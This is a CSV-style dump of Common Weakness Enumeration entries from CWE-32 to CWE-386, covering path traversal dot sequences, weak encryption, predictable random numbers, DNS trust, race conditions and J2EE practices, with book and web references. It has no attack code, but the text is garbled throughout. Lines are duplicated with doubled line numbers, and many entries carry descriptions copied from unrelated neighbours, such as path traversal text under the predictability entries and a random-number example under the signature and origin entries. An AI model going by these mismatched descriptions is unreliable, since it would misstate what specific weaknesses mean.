11131113 CWE-32,Path Traversal: ... (Triple Dot) (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '...' (triple dot) sequences that can resolve to a location that is outside of that directory.
11141114 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1115 The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,unclassified,
1115 The '...' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,unclassified,
11161116 CWE-325,Missing Required Cryptographic Step (Type: Base),"The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.
1117 Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.",,unclassified,
1117 Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.",,unclassified,
11181118 CWE-326,Inadequate Encryption Strength (Type: Class),"The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
11191119 A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.",,unclassified,"Writing Secure Code: Chapter 8, ""Cryptographic Foibles"" Page 259
1120 24 Deadly Sins of Software Security: ""Sin 21: Using the Wrong Cryptography."" Page 315"
1120 24 Deadly Sins of Software Security: ""Sin 21: Using the Wrong Cryptography."" Page 315"
11211121 CWE-328,Reversible One-Way Hash (Type: Base),"The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.
11221122 This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.",,unclassified,"MD5 considered harmful today: http://www.phreedom.org/research/rogue-ca/
11231123 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Integrity"", Page 47.
11271127 How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek): http://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/
11281128 Password security: past, present, future: http://www.openwall.com/presentations/PHDays2012-Password-Security/
11291129 Our password hashing has no clothes: http://www.troyhunt.com/2012/06/our-password-hashing-has-no-clothes.html
1130 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
1130 Should we really use bcrypt/scrypt?: http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/"
11311131 CWE-33,Path Traversal: .... (Multiple Dot) (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.
11321132 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1133 The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,unclassified,
1133 The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to ""..\..\.."" and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of ""./"" sequences, can ultimately produce valid "".."" sequences due to a collapse into unsafe value (CWE-182).",,unclassified,
11341134 CWE-331,Insufficient Entropy (Type: Base),"The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.
1135 When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.",,unclassified,Building Secure Software: How to Avoid Security Problems the Right Way
1135 When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.",,unclassified,Building Secure Software: How to Avoid Security Problems the Right Way
11361136 CWE-334,Small Space of Random Values (Type: Base),"The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.
11371137 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1138 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1138 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11391139 CWE-335,PRNG Seed Error (Type: Class),"A Pseudo-Random Number Generator (PRNG) uses seeds incorrectly.
1140 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1140 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11411141 CWE-336,Same Seed in PRNG (Type: Base),"A PRNG uses the same seed each time the product is initialized. If an attacker can guess (or knows) the seed, then he/she may be able to determine the ""random"" number produced from the PRNG.
1142 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1142 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
11431143 CWE-337,Predictable Seed in PRNG (Type: Base),"A PRNG is initialized from a predictable seed, e.g. using process ID or system time.
11441144 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1145 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1145 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11461146 CWE-339,Small Seed Space in PRNG (Type: Base),"A PRNG uses a relatively small space of seeds.
1147 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1147 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
11481148 CWE-34,Path Traversal: ....// (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....//' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.
11491149 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1150 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,
1150 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,
11511151 CWE-340,Predictability Problems (Type: Class),"Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.
11521152 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1153 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1153 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11541154 CWE-341,Predictable from Observable State (Type: Base),"A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.
11551155 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
11561156 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1157 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1157 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11581158 CWE-342,Predictable Exact Value from Previous Values (Type: Base),"An exact value or random number can be precisely predicted by observing previous values.
11591159 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
11601160 The '....//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then ""....//"" can collapse into the ""../"" unsafe value (CWE-182). It could also be useful when "".."" is removed, if the operating system treats ""//"" and ""/"" as equivalent.",,unclassified,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1161 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1161 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11621162 CWE-343,Predictable Value Range from Previous Values (Type: Base),"The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.
11631163 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,"SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
11641164 Strange Attractors and TCP/IP Sequence Number Analysis: http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm
1165 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
1165 24 Deadly Sins of Software Security: ""Sin 20: Weak Random Numbers."" Page 299"
11661166 CWE-344,Use of Invariant Value in Dynamically Changing Context (Type: Base),"The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.
1167 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1167 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
11681168 CWE-345,Insufficient Verification of Data Authenticity (Type: Class),"The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1169 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 15: Not Updating Easily."" Page 231"
1169 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 15: Not Updating Easily."" Page 231"
11701170 CWE-346,Origin Validation Error (Type: Base),"The software does not properly verify that the source of data or communication is valid.
1171 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
1171 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
11721172 CWE-347,Improper Verification of Cryptographic Signature (Type: Base),"The software does not verify, or incorrectly verifies, the cryptographic signature for data.
1173 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
1173 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
11741174 CWE-348,Use of Less Trusted Source (Type: Base),"The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.
1175 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
1175 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
11761176 CWE-349,Acceptance of Extraneous Untrusted Data With Trusted Data (Type: Base),"The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.
1177 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
1177 The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.",,unclassified,
11781178 CWE-35,Path Traversal: .../...// (Type: Variant),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.
11791179 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.
1180 The '.../...//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then "".../...//"" can collapse into the ""../"" unsafe value (CWE-182). Removing the first ""../"" yields ""....//""; the second removal yields ""../"". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.",,unclassified,
1180 The '.../...//' manipulation is useful for bypassing some path traversal protection schemes. If ""../"" is filtered in a sequential fashion, as done by some regular expression engines, then "".../...//"" can collapse into the ""../"" unsafe value (CWE-182). Removing the first ""../"" yields ""....//""; the second removal yields ""../"". Depending on the algorithm, the software could be susceptible to CWE-34 but not CWE-35, or vice versa.",,unclassified,
11811181 CWE-350,Reliance on Reverse DNS Resolution for a Security-Critical Action (Type: Variant),"The software performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
11821182 When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.
11831183 Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.
11841184 Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has not been compromised, they do not constitute a valid authentication mechanism.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 15: Not Updating Easily."" Page 231
11851185 24 Deadly Sins of Software Security: ""Sin 24: Trusting Network Name Resolution."" Page 361
1186 The Art of Software Security Assessment: Chapter 16, ""DNS Spoofing"", Page 1002."
1186 The Art of Software Security Assessment: Chapter 16, ""DNS Spoofing"", Page 1002."
11871187 CWE-351,Insufficient Type Distinction (Type: Base),"The software does not properly distinguish between different types of elements in a way that leads to insecure behavior.
11881188 When the software performs a reverse DNS resolution for an IP address, if an attacker controls the server for that IP address, then the attacker can cause the server to return an arbitrary hostname. As a result, the attacker may be able to bypass authentication, cause the wrong hostname to be recorded in log files to hide activities, or perform other attacks.
11891189 Attackers can spoof DNS names by either (1) compromising a DNS server and modifying its records (sometimes called DNS cache poisoning), or (2) having legitimate control over a DNS server associated with their IP address.
1190 Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has not been compromised, they do not constitute a valid authentication mechanism.",,unclassified,
1190 Since DNS names can be easily spoofed or misreported, and it may be difficult for the software to detect if a trusted DNS server has not been compromised, they do not constitute a valid authentication mechanism.",,unclassified,
11911191 CWE-356,Product UI does not Warn User of Unsafe Actions (Type: Base),"The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.
1192 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
1192 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
11931193 CWE-357,Insufficient UI Warning of Dangerous Operations (Type: Base),"The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.
1194 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
1194 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
11951195 CWE-358,Improperly Implemented Security Check for Standard (Type: Base),"The software does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.
1196 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
1196 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,
11971197 CWE-359,Privacy Violation (Type: Class),"Mishandling private information, such as customer passwords or social security numbers, can compromise user privacy and is often illegal.
11981198 Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.",,unclassified,"AOL man pleads guilty to selling 92m email addies: http://www.theregister.co.uk/2005/02/07/aol_email_theft/
11991199 Safe Harbor Privacy Framework: http://www.export.gov/safeharbor/
12011201 Health Insurance Portability and Accountability Act (HIPAA): http://www.hhs.gov/ocr/hipaa/
12021202 California SB-1386: http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html
12031203 SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf
1204 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
1204 Mobile App Top 10 List: http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/"
12051205 CWE-36,Absolute Path Traversal (Type: Base),"The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as ""/abs/path"" that can resolve to a location that is outside of that directory.
1206 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
1206 This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
12071207 CWE-363,Race Condition Enabling Link Following (Type: Base),"The software checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the software to access the wrong file.
1208 While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Race Conditions"", Page 526."
1208 While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the software to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.",,unclassified,"The Art of Software Security Assessment: Chapter 9, ""Race Conditions"", Page 526."
12091209 CWE-368,Context Switching Race Condition (Type: Base),"A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.
1210 This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
1210 This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.",,unclassified,"24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205"
12111211 CWE-37,Path Traversal: /absolute/pathname/here (Type: Variant),"A software system that accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1212 This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.",,unclassified,
1212 This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.",,unclassified,
12131213 CWE-372,Incomplete Internal State Distinction (Type: Base),"The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.
1214 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,unclassified,
1214 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,unclassified,
12151215 CWE-373,DEPRECATED: State Synchronization Error (Type: Base),"This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).
1216 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,unclassified,
1216 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,unclassified,
12171217 CWE-377,Insecure Temporary File (Type: Base),"Creating and using insecure temporary files can leave application and system data vulnerable to attack.
12181218 If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.",,unclassified,"Writing Secure Code: Chapter 23, ""Creating Temporary Files Securely"" Page 682
12191219 The Art of Software Security Assessment: Chapter 9, ""Temporary Files"", Page 538.
1220 The Art of Software Security Assessment: Chapter 11, ""File Squatting"", Page 662."
1220 The Art of Software Security Assessment: Chapter 11, ""File Squatting"", Page 662."
12211221 CWE-38,Path Traversal: \absolute\pathname\here (Type: Variant),"A software system that accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
1222 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,unclassified,
1222 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,unclassified,
12231223 CWE-382,J2EE Bad Practices: Use of System.exit() (Type: Variant),"A J2EE application uses System.exit(), which also shuts down its container.
1224 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,unclassified,
1224 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,unclassified,
12251225 CWE-383,J2EE Bad Practices: Direct Use of Threads (Type: Variant),"Thread management in a Web application is forbidden in some circumstances and is always highly error prone.
1226 Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.",,unclassified,
1226 Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.",,unclassified,
12271227 CWE-386,Symbolic Name not Mapping to Correct Object (Type: Base),"A constant symbolic reference to an object is used, even though the reference can resolve to a different object over time.
12281228 In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.
1229 Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.",,unclassified,
